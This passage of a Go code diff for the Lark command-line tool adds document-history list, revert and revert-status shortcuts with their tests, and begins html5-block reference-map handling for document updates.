+		t.Fatalf("extra_param should only contain fetch reference_map and html5 data toggles: %#v", got)
 	}
 }
 
@@ -579,6 +579,46 @@ func TestDocsFetchIMMarkdownRequestsMarkdownFromAPI(t *testing.T) {
 	}
 }
 
+func TestDocsFetchIMMarkdownIgnoresHTML5BlockInsideCodeFence(t *testing.T) {
+	t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
+
+	f, stdout, _, reg := cmdutil.TestFactory(t, docsTestConfigWithAppID("docs-fetch-im-markdown-code-fence"))
+	registerDocsAIStub(reg, "POST", "/open-apis/docs_ai/v1/documents/doxcnFetchIMMarkdownFence/fetch", map[string]interface{}{
+		"document": map[string]interface{}{
+			"document_id": "doxcnFetchIMMarkdownFence",
+			"revision_id": float64(1),
+			"content":     "```xml\n<html5-block data-ref=\"html5_1\"></html5-block>\n```\n",
+		},
+	})
+
+	err := mountAndRunDocs(t, DocsFetch, []string{
+		"+fetch",
+		"--doc", "doxcnFetchIMMarkdownFence",
+		"--doc-format", "im-markdown",
+		"--format", "json",
+		"--as", "bot",
+	}, f, stdout)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+	var envelope map[string]interface{}
+	if err := json.Unmarshal(stdout.Bytes(), &envelope); err != nil {
+		t.Fatalf("decode output: %v\nraw=%s", err, stdout.String())
+	}
+	if errField, ok := envelope["error"]; ok {
+		t.Fatalf("fetch output should not contain error: %#v", errField)
+	}
+	data, _ := envelope["data"].(map[string]interface{})
+	doc, _ := data["document"].(map[string]interface{})
+	content, _ := doc["content"].(string)
+	if !strings.Contains(content, "```xml\n<html5-block data-ref=\"html5_1\"></html5-block>\n```") {
+		t.Fatalf("fenced html5-block should stay in content, got:\n%s", content)
+	}
+	if _, ok := doc["reference_map"]; ok {
+		t.Fatalf("fenced html5-block should not create reference_map side effects: %#v", doc["reference_map"])
+	}
+}
+
 func TestDocsFetchMarkdownDetailDowngradesToSimple(t *testing.T) {
 	t.Parallel()
 

shortcuts/doc/docs_history.go

@@ -0,0 +1,261 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package doc
+
+import (
+	"context"
+	"fmt"
+	"net/http"
+	"strconv"
+	"strings"
+
+	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/internal/validate"
+	"github.com/larksuite/cli/shortcuts/common"
+)
+
+type docsHistoryListSpec struct {
+	Doc       documentRef
+	PageSize  int
+	PageToken string
+}
+
+type docsHistoryRevertSpec struct {
+	Doc              documentRef
+	HistoryVersionID string
+	WaitTimeoutMs    int
+}
+
+type docsHistoryRevertStatusSpec struct {
+	Doc    documentRef
+	TaskID string
+}
+
+func parseDocsHistoryDocRef(raw, shortcut string) (documentRef, error) {
+	ref, err := parseDocumentRef(raw)
+	if err != nil {
+		return documentRef{}, err
+	}
+	if ref.Kind == "doc" {
+		return documentRef{}, errs.NewValidationError(errs.SubtypeInvalidArgument, "docs %s only supports docx documents; use a docx token/URL or a wiki URL that resolves to docx", shortcut).WithParam("--doc")
+	}
+	return ref, nil
+}
+
+func validateDocsHistoryPageSize(pageSize int) error {
+	if pageSize < 1 || pageSize > 20 {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument, "invalid --page-size %d: must be between 1 and 20", pageSize).WithParam("--page-size")
+	}
+	return nil
+}
+
+func validateDocsHistoryVersionID(historyVersionID string) error {
+	version, err := strconv.ParseInt(strings.TrimSpace(historyVersionID), 10, 64)
+	if err != nil {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument, "--history-version-id must be a positive integer string returned by docs +history-list").WithParam("--history-version-id").WithCause(err)
+	}
+	if version <= 0 {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument, "--history-version-id must be a positive integer string returned by docs +history-list").WithParam("--history-version-id")
+	}
+	return nil
+}
+
+func validateDocsHistoryWaitTimeout(timeoutMs int) error {
+	if timeoutMs < 0 || timeoutMs > 30000 {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument, "invalid --wait-timeout-ms %d: must be between 0 and 30000", timeoutMs).WithParam("--wait-timeout-ms")
+	}
+	return nil
+}
+
+func docsHistoryListParams(spec docsHistoryListSpec) map[string]interface{} {
+	params := map[string]interface{}{
+		"page_size": spec.PageSize,
+	}
+	if spec.PageToken != "" {
+		params["page_token"] = spec.PageToken
+	}
+	return params
+}
+
+func docsHistoryRevertBody(spec docsHistoryRevertSpec) map[string]interface{} {
+	return map[string]interface{}{
+		"history_version_id": spec.HistoryVersionID,
+		"wait_timeout_ms":    spec.WaitTimeoutMs,
+	}
+}
+
+func docsHistoryStatusParams(spec docsHistoryRevertStatusSpec) map[string]interface{} {
+	return map[string]interface{}{
+		"task_id": spec.TaskID,
+	}
+}
+
+func docsHistoryAPIPath(docToken, suffix string) string {
+	return fmt.Sprintf("/open-apis/docs_ai/v1/documents/%s/%s", validate.EncodePathSegment(docToken), suffix)
+}
+
+var DocsHistoryList = common.Shortcut{
+	Service:     "docs",
+	Command:     "+history-list",
+	Description: "List Lark document history versions",
+	Risk:        "read",
+	Scopes:      []string{"docx:document:readonly"},
+	AuthTypes:   []string{"user", "bot"},
+	PostMount:   installDocsShortcutHelp("+history-list"),
+	Flags: []common.Flag{
+		{Name: "doc", Desc: "document URL or token", Required: true},
+		{Name: "page-size", Type: "int", Default: "20", Desc: "history entries to return, range 1-20"},
+		{Name: "page-token", Desc: "pagination token from the previous page's page_token"},
+	},
+	Validate: func(ctx context.Context, runtime *common.RuntimeContext) error {
+		if _, err := parseDocsHistoryDocRef(runtime.Str("doc"), "+history-list"); err != nil {
+			return err
+		}
+		return validateDocsHistoryPageSize(runtime.Int("page-size"))
+	},
+	DryRun: func(ctx context.Context, runtime *common.RuntimeContext) *common.DryRunAPI {
+		ref, _ := parseDocsHistoryDocRef(runtime.Str("doc"), "+history-list")
+		spec := docsHistoryListSpec{
+			Doc:       ref,
+			PageSize:  runtime.Int("page-size"),
+			PageToken: strings.TrimSpace(runtime.Str("page-token")),
+		}
+		return common.NewDryRunAPI().
+			Desc("OpenAPI: list document history versions").
+			GET("/open-apis/docs_ai/v1/documents/:document_id/histories").
+			Set("document_id", spec.Doc.Token).
+			Params(docsHistoryListParams(spec))
+	},
+	Execute: func(ctx context.Context, runtime *common.RuntimeContext) error {
+		ref, _ := parseDocsHistoryDocRef(runtime.Str("doc"), "+history-list")
+		spec := docsHistoryListSpec{
+			Doc:       ref,
+			PageSize:  runtime.Int("page-size"),
+			PageToken: strings.TrimSpace(runtime.Str("page-token")),
+		}
+
+		data, err := runtime.CallAPITyped(
+			http.MethodGet,
+			docsHistoryAPIPath(spec.Doc.Token, "histories"),
+			docsHistoryListParams(spec),
+			nil,
+		)
+		if err != nil {
+			return err
+		}
+		runtime.OutRaw(data, nil)
+		return nil
+	},
+}
+
+var DocsHistoryRevert = common.Shortcut{
+	Service:     "docs",
+	Command:     "+history-revert",
+	Description: "Revert a Lark document to a historical version",
+	Risk:        "write",
+	Scopes:      []string{"docx:document:write_only", "docx:document:readonly"},
+	AuthTypes:   []string{"user", "bot"},
+	PostMount:   installDocsShortcutHelp("+history-revert"),
+	Flags: []common.Flag{
+		{Name: "doc", Desc: "document URL or token", Required: true},
+		{Name: "history-version-id", Desc: "history_version_id from docs +history-list to revert to", Required: true},
+		{Name: "wait-timeout-ms", Type: "int", Default: "30000", Desc: "milliseconds to wait for revert completion before returning, range 0-30000"},
+	},
+	Validate: func(ctx context.Context, runtime *common.RuntimeContext) error {
+		if _, err := parseDocsHistoryDocRef(runtime.Str("doc"), "+history-revert"); err != nil {
+			return err
+		}
+		if err := validateDocsHistoryVersionID(runtime.Str("history-version-id")); err != nil {
+			return err
+		}
+		return validateDocsHistoryWaitTimeout(runtime.Int("wait-timeout-ms"))
+	},
+	DryRun: func(ctx context.Context, runtime *common.RuntimeContext) *common.DryRunAPI {
+		ref, _ := parseDocsHistoryDocRef(runtime.Str("doc"), "+history-revert")
+		spec := docsHistoryRevertSpec{
+			Doc:              ref,
+			HistoryVersionID: strings.TrimSpace(runtime.Str("history-version-id")),
+			WaitTimeoutMs:    runtime.Int("wait-timeout-ms"),
+		}
+		return common.NewDryRunAPI().
+			Desc("OpenAPI: revert document history").
+			POST("/open-apis/docs_ai/v1/documents/:document_id/history/revert").
+			Set("document_id", spec.Doc.Token).
+			Body(docsHistoryRevertBody(spec))
+	},
+	Execute: func(ctx context.Context, runtime *common.RuntimeContext) error {
+		ref, _ := parseDocsHistoryDocRef(runtime.Str("doc"), "+history-revert")
+		spec := docsHistoryRevertSpec{
+			Doc:              ref,
+			HistoryVersionID: strings.TrimSpace(runtime.Str("history-version-id")),
+			WaitTimeoutMs:    runtime.Int("wait-timeout-ms"),
+		}
+
+		data, err := runtime.CallAPITyped(
+			http.MethodPost,
+			docsHistoryAPIPath(spec.Doc.Token, "history/revert"),
+			nil,
+			docsHistoryRevertBody(spec),
+		)
+		if err != nil {
+			return err
+		}
+		runtime.OutRaw(data, nil)
+		return nil
+	},
+}
+
+var DocsHistoryRevertStatus = common.Shortcut{
+	Service:     "docs",
+	Command:     "+history-revert-status",
+	Description: "Get Lark document history revert task status",
+	Risk:        "read",
+	Scopes:      []string{"docx:document:readonly"},
+	AuthTypes:   []string{"user", "bot"},
+	PostMount:   installDocsShortcutHelp("+history-revert-status"),
+	Flags: []common.Flag{
+		{Name: "doc", Desc: "document URL or token", Required: true},
+		{Name: "task-id", Desc: "task_id returned by docs +history-revert", Required: true},
+	},
+	Validate: func(ctx context.Context, runtime *common.RuntimeContext) error {
+		if _, err := parseDocsHistoryDocRef(runtime.Str("doc"), "+history-revert-status"); err != nil {
+			return err
+		}
+		if strings.TrimSpace(runtime.Str("task-id")) == "" {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument, "--task-id is required").WithParam("--task-id")
+		}
+		return nil
+	},
+	DryRun: func(ctx context.Context, runtime *common.RuntimeContext) *common.DryRunAPI {
+		ref, _ := parseDocsHistoryDocRef(runtime.Str("doc"), "+history-revert-status")
+		spec := docsHistoryRevertStatusSpec{
+			Doc:    ref,
+			TaskID: strings.TrimSpace(runtime.Str("task-id")),
+		}
+		return common.NewDryRunAPI().
+			Desc("OpenAPI: get document history revert status").
+			GET("/open-apis/docs_ai/v1/documents/:document_id/history/revert_status").
+			Set("document_id", spec.Doc.Token).
+			Params(docsHistoryStatusParams(spec))
+	},
+	Execute: func(ctx context.Context, runtime *common.RuntimeContext) error {
+		ref, _ := parseDocsHistoryDocRef(runtime.Str("doc"), "+history-revert-status")
+		spec := docsHistoryRevertStatusSpec{
+			Doc:    ref,
+			TaskID: strings.TrimSpace(runtime.Str("task-id")),
+		}
+
+		data, err := runtime.CallAPITyped(
+			http.MethodGet,
+			docsHistoryAPIPath(spec.Doc.Token, "history/revert_status"),
+			docsHistoryStatusParams(spec),
+			nil,
+		)
+		if err != nil {
+			return err
+		}
+		runtime.OutRaw(data, nil)
+		return nil
+	},
+}

shortcuts/doc/docs_history_test.go

@@ -0,0 +1,340 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package doc
+
+import (
+	"bytes"
+	"context"
+	"encoding/json"
+	"errors"
+	"strings"
+	"testing"
+
+	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/httpmock"
+	"github.com/larksuite/cli/shortcuts/common"
+	"github.com/spf13/cobra"
+)
+
+func TestDocsHistoryValidation(t *testing.T) {
+	t.Parallel()
+
+	tests := []struct {
+		name      string
+		shortcut  common.Shortcut
+		args      []string
+		param     string
+		category  errs.Category
+		subtype   errs.Subtype
+		wantCause bool
+	}{
+		{
+			name:     "list rejects legacy doc URL",
+			shortcut: DocsHistoryList,
+			args:     []string{"+history-list", "--doc", "https://example.feishu.cn/doc/old_doc", "--as", "bot"},
+			param:    "--doc",
+			category: errs.CategoryValidation,
+			subtype:  errs.SubtypeInvalidArgument,
+		},
+		{
+			name:     "list rejects invalid page size",
+			shortcut: DocsHistoryList,
+			args:     []string{"+history-list", "--doc", "doxcnHistory", "--page-size", "0", "--as", "bot"},
+			param:    "--page-size",
+			category: errs.CategoryValidation,
+			subtype:  errs.SubtypeInvalidArgument,
+		},
+		{
+			name:      "revert rejects non-numeric history version id",
+			shortcut:  DocsHistoryRevert,
+			args:      []string{"+history-revert", "--doc", "doxcnHistory", "--history-version-id", "abc", "--as", "bot"},
+			param:     "--history-version-id",
+			category:  errs.CategoryValidation,
+			subtype:   errs.SubtypeInvalidArgument,
+			wantCause: true,
+		},
+		{
+			name:     "revert rejects non-positive history version id",
+			shortcut: DocsHistoryRevert,
+			args:     []string{"+history-revert", "--doc", "doxcnHistory", "--history-version-id", "0", "--as", "bot"},
+			param:    "--history-version-id",
+			category: errs.CategoryValidation,
+			subtype:  errs.SubtypeInvalidArgument,
+		},
+		{
+			name:     "revert rejects invalid wait timeout",
+			shortcut: DocsHistoryRevert,
+			args:     []string{"+history-revert", "--doc", "doxcnHistory", "--history-version-id", "10", "--wait-timeout-ms", "30001", "--as", "bot"},
+			param:    "--wait-timeout-ms",
+			category: errs.CategoryValidation,
+			subtype:  errs.SubtypeInvalidArgument,
+		},
+		{
+			name:     "status rejects empty task id",
+			shortcut: DocsHistoryRevertStatus,
+			args:     []string{"+history-revert-status", "--doc", "doxcnHistory", "--task-id", "", "--as", "bot"},
+			param:    "--task-id",
+			category: errs.CategoryValidation,
+			subtype:  errs.SubtypeInvalidArgument,
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			t.Parallel()
+
+			f, stdout, _, _ := cmdutil.TestFactory(t, docsTestConfigWithAppID("docs-history-validation"))
+			err := mountAndRunDocs(t, tt.shortcut, tt.args, f, stdout)
+			if err == nil {
+				t.Fatal("expected validation error, got nil")
+			}
+			problem, ok := errs.ProblemOf(err)
+			if !ok {
+				t.Fatalf("error is not typed: %T %v", err, err)
+			}
+			if problem.Category != tt.category {
+				t.Fatalf("category = %q, want %q (err: %v)", problem.Category, tt.category, err)
+			}
+			if problem.Subtype != tt.subtype {
+				t.Fatalf("subtype = %q, want %q (err: %v)", problem.Subtype, tt.subtype, err)
+			}
+			var validationErr *errs.ValidationError
+			if !errors.As(err, &validationErr) {
+				t.Fatalf("expected validation error, got %T: %v", err, err)
+			}
+			if validationErr.Param != tt.param {
+				t.Fatalf("param = %q, want %q (err: %v)", validationErr.Param, tt.param, err)
+			}
+			if tt.wantCause && errors.Unwrap(err) == nil {
+				t.Fatalf("expected wrapped cause, got nil (err: %v)", err)
+			}
+		})
+	}
+}
+
+func TestDocsHistoryDryRun(t *testing.T) {
+	t.Parallel()
+
+	listCmd := newDocsHistoryRuntimeCmd(t, DocsHistoryList, map[string]string{
+		"doc":        "doxcnHistoryDryRun",
+		"page-size":  "5",
+		"page-token": "page_token_1",
+	})
+	listDry := decodeDocDryRun(t, DocsHistoryList.DryRun(context.Background(), common.TestNewRuntimeContext(listCmd, nil)))
+	if got, want := listDry.API[0].URL, "/open-apis/docs_ai/v1/documents/doxcnHistoryDryRun/histories"; got != want {
+		t.Fatalf("list dry-run URL = %q, want %q", got, want)
+	}
+	if got := int(listDry.API[0].Params["page_size"].(float64)); got != 5 {
+		t.Fatalf("list page_size = %d, want 5", got)
+	}
+	if got := listDry.API[0].Params["page_token"]; got != "page_token_1" {
+		t.Fatalf("list page_token = %#v, want page_token_1", got)
+	}
+
+	revertCmd := newDocsHistoryRuntimeCmd(t, DocsHistoryRevert, map[string]string{
+		"doc":                "doxcnHistoryDryRun",
+		"history-version-id": "42",
+		"wait-timeout-ms":    "30000",
+	})
+	revertDry := decodeDocDryRun(t, DocsHistoryRevert.DryRun(context.Background(), common.TestNewRuntimeContext(revertCmd, nil)))
+	if got, want := revertDry.API[0].URL, "/open-apis/docs_ai/v1/documents/doxcnHistoryDryRun/history/revert"; got != want {
+		t.Fatalf("revert dry-run URL = %q, want %q", got, want)
+	}
+	if got := revertDry.API[0].Body["history_version_id"]; got != "42" {
+		t.Fatalf("revert history_version_id = %#v, want 42", got)
+	}
+	if got := int(revertDry.API[0].Body["wait_timeout_ms"].(float64)); got != 30000 {
+		t.Fatalf("revert wait_timeout_ms = %d, want 30000", got)
+	}
+
+	statusCmd := newDocsHistoryRuntimeCmd(t, DocsHistoryRevertStatus, map[string]string{
+		"doc":     "doxcnHistoryDryRun",
+		"task-id": "task_1",
+	})
+	statusDry := decodeDocDryRun(t, DocsHistoryRevertStatus.DryRun(context.Background(), common.TestNewRuntimeContext(statusCmd, nil)))
+	if got, want := statusDry.API[0].URL, "/open-apis/docs_ai/v1/documents/doxcnHistoryDryRun/history/revert_status"; got != want {
+		t.Fatalf("status dry-run URL = %q, want %q", got, want)
+	}
+	if got := statusDry.API[0].Params["task_id"]; got != "task_1" {
+		t.Fatalf("status task_id = %#v, want task_1", got)
+	}
+}
+
+func TestDocsHistoryExecuteList(t *testing.T) {
+	f, stdout, _, reg := cmdutil.TestFactory(t, docsTestConfigWithAppID("docs-history-list"))
+	stub := &httpmock.Stub{
+		Method: "GET",
+		URL:    "/open-apis/docs_ai/v1/documents/doxcnHistory/histories",
+		Body: map[string]interface{}{
+			"code": 0,
+			"msg":  "ok",
+			"data": map[string]interface{}{
+				"entries": []interface{}{
+					map[string]interface{}{
+						"revision_id":        float64(42),
+						"history_version_id": "11",
+						"edit_time":          "1780000000",
+						"type":               float64(1),
+						"editor_ids":         []interface{}{"ou_1"},
+					},
+				},
+				"has_more":   true,
+				"page_token": "page_token_2",
+			},
+		},
+	}
+	reg.Register(stub)
+
+	err := mountAndRunDocs(t, DocsHistoryList, []string{
+		"+history-list",
+		"--doc", "doxcnHistory",
+		"--page-size", "5",
+		"--page-token", "page_token_1",
+		"--as", "bot",
+	}, f, stdout)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	data := decodeDocsHistoryEnvelope(t, stdout)
+	if got := data["page_token"]; got != "page_token_2" {
+		t.Fatalf("page_token = %#v, want page_token_2", got)
+	}
+	entries, _ := data["entries"].([]interface{})
+	if len(entries) != 1 {
+		t.Fatalf("entries = %#v, want one entry", data["entries"])
+	}
+}
+
+func TestDocsHistoryExecuteRevert(t *testing.T) {
+	f, stdout, _, reg := cmdutil.TestFactory(t, docsTestConfigWithAppID("docs-history-revert"))
+	stub := &httpmock.Stub{
+		Method: "POST",
+		URL:    "/open-apis/docs_ai/v1/documents/doxcnHistory/history/revert",
+		Body: map[string]interface{}{
+			"code": 0,
+			"msg":  "ok",
+			"data": map[string]interface{}{
+				"task_id":            "task_1",
+				"status":             "running",
+				"history_version_id": "42",
+				"poll_after_ms":      float64(10000),
+			},
+		},
+	}
+	reg.Register(stub)
+
+	err := mountAndRunDocs(t, DocsHistoryRevert, []string{
+		"+history-revert",
+		"--doc", "doxcnHistory",
+		"--history-version-id", "42",
+		"--wait-timeout-ms", "0",
+		"--as", "bot",
+	}, f, stdout)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	var body map[string]interface{}
+	if err := json.Unmarshal(stub.CapturedBody, &body); err != nil {
+		t.Fatalf("decode revert body: %v\nraw=%s", err, stub.CapturedBody)
+	}
+	if got := body["history_version_id"]; got != "42" {
+		t.Fatalf("history_version_id = %#v, want 42", got)
+	}
+	if got := int(body["wait_timeout_ms"].(float64)); got != 0 {
+		t.Fatalf("wait_timeout_ms = %d, want 0", got)
+	}
+
+	data := decodeDocsHistoryEnvelope(t, stdout)
+	if got := data["task_id"]; got != "task_1" {
+		t.Fatalf("task_id = %#v, want task_1", got)
+	}
+}
+
+func TestDocsHistoryExecuteRevertStatus(t *testing.T) {
+	f, stdout, _, reg := cmdutil.TestFactory(t, docsTestConfigWithAppID("docs-history-status"))
+	reg.Register(&httpmock.Stub{
+		Method: "GET",
+		URL:    "/open-apis/docs_ai/v1/documents/doxcnHistory/history/revert_status",
+		Body: map[string]interface{}{
+			"code": 0,
+			"msg":  "ok",
+			"data": map[string]interface{}{
+				"status":              "partial_failed",
+				"history_version_id":  "11",
+				"failed_block_tokens": []interface{}{"blk_1"},
+			},
+		},
+	})
+
+	err := mountAndRunDocs(t, DocsHistoryRevertStatus, []string{
+		"+history-revert-status",
+		"--doc", "doxcnHistory",
+		"--task-id", "task_1",
+		"--as", "bot",
+	}, f, stdout)
+	if err != nil {
+		t.Fatalf("unexpected error: %v", err)
+	}
+
+	data := decodeDocsHistoryEnvelope(t, stdout)
+	if got := data["status"]; got != "partial_failed" {
+		t.Fatalf("status = %#v, want partial_failed", got)
+	}
+	if got := data["history_version_id"]; got != "11" {
+		t.Fatalf("history_version_id = %#v, want 11", got)
+	}
+	failed, _ := data["failed_block_tokens"].([]interface{})
+	if len(failed) != 1 || failed[0] != "blk_1" {
+		t.Fatalf("failed_block_tokens = %#v, want [blk_1]", data["failed_block_tokens"])
+	}
+}
+
+func newDocsHistoryRuntimeCmd(t *testing.T, shortcut common.Shortcut, values map[string]string) *cobra.Command {
+	t.Helper()
+
+	cmd := &cobra.Command{Use: shortcut.Command}
+	for _, flag := range shortcut.Flags {
+		switch flag.Type {
+		case "int":
+			cmd.Flags().Int(flag.Name, 0, flag.Desc)
+		default:
+			cmd.Flags().String(flag.Name, flag.Default, flag.Desc)
+		}
+	}
+	for name, value := range values {
+		if err := cmd.Flags().Set(name, value); err != nil {
+			t.Fatalf("set --%s: %v", name, err)
+		}
+	}
+	return cmd
+}
+
+func decodeDocsHistoryEnvelope(t *testing.T, stdout *bytes.Buffer) map[string]interface{} {
+	t.Helper()
+
+	var envelope map[string]interface{}
+	if err := json.Unmarshal(stdout.Bytes(), &envelope); err != nil {
+		t.Fatalf("decode envelope: %v\nraw=%s", err, stdout.String())
+	}
+	data, _ := envelope["data"].(map[string]interface{})
+	if data == nil {
+		t.Fatalf("missing data in envelope: %#v", envelope)
+	}
+	return data
+}
+
+func TestDocsHistoryURLValidationMessage(t *testing.T) {
+	t.Parallel()
+
+	_, err := parseDocsHistoryDocRef("https://example.feishu.cn/doc/old_doc", "+history-list")
+	if err == nil {
+		t.Fatal("expected error")
+	}
+	if !strings.Contains(err.Error(), "only supports docx documents") {
+		t.Fatalf("unexpected error: %v", err)
+	}
+}

shortcuts/doc/docs_update_test.go

@@ -5,6 +5,7 @@ package doc
 import (
 	"context"
 	"errors"
+	"os"
 	"strings"
 	"testing"
 
@@ -63,6 +64,39 @@ func TestDocsUpdateDryRunIgnoresAPIVersionCompatFlag(t *testing.T) {
 	}
 }
 
+func TestBuildUpdateBodyWithHTML5ReferenceMapReportsPathError(t *testing.T) {
+	t.Parallel()
+
+	runtime := newUpdateShortcutTestRuntime(t, "", map[string]string{
+		"content": `<html5-block path="@missing.html"></html5-block>`,
+	})
+
+	_, err := buildUpdateBodyWithHTML5ReferenceMap(runtime)
+	if err == nil {
+		t.Fatal("buildUpdateBodyWithHTML5ReferenceMap() succeeded, want error")
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok {
+		t.Fatalf("ProblemOf() ok = false for %T (%v)", err, err)
+	}
+	if p.Category != errs.CategoryValidation {
+		t.Fatalf("category = %q, want %q", p.Category, errs.CategoryValidation)
+	}
+	if p.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("subtype = %q, want %q", p.Subtype, errs.SubtypeInvalidArgument)
+	}
+	var validationErr *errs.ValidationError
+	if !errors.As(err, &validationErr) {
+		t.Fatalf("error type = %T, want *errs.ValidationError", err)
+	}
+	if validationErr.Param != "path" {
+		t.Fatalf("param = %q, want path", validationErr.Param)
+	}
+	if !errors.Is(err, os.ErrNotExist) {
+		t.Fatalf("error should preserve os.ErrNotExist cause, got: %v", err)
+	}
+}
+
 func TestDocsUpdateV2ReferenceMapFlagIsPublicFileInput(t *testing.T) {
 	t.Parallel()
 

shortcuts/doc/docs_update_v2.go

@@ -24,7 +24,9 @@ var validCommandsV2 = map[string]bool{
 	"append":                  true,
 }
 
-const docsUpdateReferenceMapFlagDesc = "结构化 `reference_map` JSON object；当 `--content` 使用正文外部载荷 / 引用映射时与内容一起传给服务，支持直接 JSON、`@reference-map.json`（相对路径）或 `-` 从 stdin 读取。通常用于回写已有 `document.reference_map`。"
+const docsReferenceMapFlagDesc = "结构化 `reference_map` JSON object；必须与 `--content` 一起使用。普通写入优先把结构写在正文里；`--reference-map` 主要用于保留或回放已有 `document.reference_map`。支持直接 JSON、`@reference-map.json`（相对路径）或 `-` 从 stdin 读取。"
+
+const docsUpdateReferenceMapFlagDesc = docsReferenceMapFlagDesc
 
 // v2UpdateFlags returns the flag definitions for the v2 (OpenAPI) update path.
 func v2UpdateFlags() []common.Flag {
@@ -115,13 +117,20 @@ func validateUpdateV2(_ context.Context, runtime *common.RuntimeContext) error {
 			return errs.NewValidationError(errs.SubtypeInvalidArgument, "--command append requires --content").WithParam("--content")
 		}
 	}
+	if content != "" {
+		_, err := resolveDocsV2ContentReferenceMap(runtime)
+		return err
+	}
 	return nil
 }
 
 func dryRunUpdateV2(_ context.Context, runtime *common.RuntimeContext) *common.DryRunAPI {
 	// Validate has already accepted --doc; parseDocumentRef cannot fail here.
 	ref, _ := parseDocumentRef(runtime.Str("doc"))
-	body, _ := buildUpdateBodyWithReferenceMap(runtime)
+	body, err := buildUpdateBodyWithHTML5ReferenceMap(runtime)
+	if err != nil {
+		return common.NewDryRunAPI().Set("error", err.Error())
+	}
 	apiPath := fmt.Sprintf("/open-apis/docs_ai/v1/documents/%s", ref.Token)
 	return common.NewDryRunAPI().
 		PUT(apiPath).
@@ -134,7 +143,7 @@ func executeUpdateV2(_ context.Context, runtime *common.RuntimeContext) error {
 	ref, _ := parseDocumentRef(runtime.Str("doc"))
 
 	apiPath := fmt.Sprintf("/open-apis/docs_ai/v1/documents/%s", ref.Token)
-	body, err := buildUpdateBodyWithReferenceMap(runtime)
+	body, err := buildUpdateBodyWithHTML5ReferenceMap(runtime)
 	if err != nil {
 		return err
 	}

shortcuts/doc/html5_block_resources.go

@@ -0,0 +1,696 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package doc
+
+import (
+	"bytes"
+	"encoding/json"
+	"encoding/xml"
+	"errors"
+	"fmt"
+	"io"
+	"path/filepath"
+	"regexp"
+	"strings"
+
+	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/extension/fileio"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/shortcuts/common"
+)
+
+const (
+	html5BlockTag             = "html5-block"
+	html5BlockPathAttr        = "path"
+	html5BlockDataRefAttr     = "data-ref"
+	html5BlockDataAttr        = "data"
+	html5BlockReferenceRoot   = "doc-fetch-resources"
+	html5BlockReferenceMaxRaw = 1024
+)
+
+var (
+	html5BlockStartTagPattern = regexp.MustCompile(`(?is)<html5-block\b[^>]*>`)
+	html5BlockElementPattern  = regexp.MustCompile(`(?is)<html5-block\b[^>]*>(.*?)</html5-block>`)
+	html5BlockSafeNamePattern = regexp.MustCompile(`^[A-Za-z0-9._-]+$`)
+)
+
+type html5BlockReferenceEntry struct {
+	Data   string `json:"data,omitempty"`
+	Path   string `json:"path,omitempty"`
+	UserID string `json:"user_id,omitempty"`
+}
+
+type html5BlockReferenceMap map[string]map[string]html5BlockReferenceEntry
+
+type docsV2WriteInput struct {
+	Content      string
+	ReferenceMap map[string]interface{}
+}
+
+type html5BlockAttr struct {
+	Name  string
+	Value string
+}
+
+type html5BlockStartTag struct {
+	Attrs       []html5BlockAttr
+	SelfClosing bool
+}
+
+func buildCreateBodyWithHTML5ReferenceMap(runtime *common.RuntimeContext) (map[string]interface{}, error) {
+	body := buildCreateBody(runtime)
+	if runtime.Str("content") == "" && !runtime.Changed("reference-map") {
+		return body, nil
+	}
+	input, err := resolveDocsV2ContentReferenceMap(runtime)
+	if err != nil {
+		return nil, err
+	}
+	body["content"] = buildCreateContentWithBody(runtime, input.Content)
+	if len(input.ReferenceMap) > 0 {
+		body["reference_map"] = input.ReferenceMap
+	}
+	return body, nil
+}
+
+func buildUpdateBodyWithHTML5ReferenceMap(runtime *common.RuntimeContext) (map[string]interface{}, error) {
+	body := buildUpdateBody(runtime)
+	input, err := resolveDocsV2ContentReferenceMap(runtime)
+	if err != nil {
+		return nil, err
+	}
+	if input.Content != "" {
+		body["content"] = input.Content
+	}
+	if len(input.ReferenceMap) > 0 {
+		body["reference_map"] = input.ReferenceMap
+	}
+	return body, nil
+}
+
+func validateDocsV2ReferenceMapFlags(runtime *common.RuntimeContext) error {
+	if runtime.Changed("reference-map") && runtime.Str("content") == "" {
+		return errs.NewValidationError(errs.SubtypeInvalidArgument, "--reference-map requires --content").WithParam("--reference-map")
+	}
+	return nil
+}
+
+func resolveDocsV2ContentReferenceMap(runtime *common.RuntimeContext) (docsV2WriteInput, error) {
+	input := docsV2WriteInput{Content: runtime.Str("content")}
+	if raw := runtime.Str("reference-map"); strings.TrimSpace(raw) != "" {
+		refMap, err := parseReferenceMapObject(raw, "--reference-map")
+		if err != nil {
+			return docsV2WriteInput{}, err
+		}
+		input.ReferenceMap = refMap
+	}
+	return prepareDocsV2WriteInput(runtime, input)
+}
+
+func prepareDocsV2WriteInput(runtime *common.RuntimeContext, input docsV2WriteInput) (docsV2WriteInput, error) {
+	refMap := cloneReferenceMapObject(input.ReferenceMap)
+	html5RefMap, err := html5ReferenceMapFromObject(refMap)
+	if err != nil {
+		return docsV2WriteInput{}, err
+	}
+
+	content, html5RefMap, err := prepareHTML5BlockWriteContent(runtime, runtime.Str("doc-format"), input.Content, html5RefMap)
+	if err != nil {
+		return docsV2WriteInput{}, err
+	}
+	if err := resolveReferenceMapPaths(runtime, html5RefMap); err != nil {
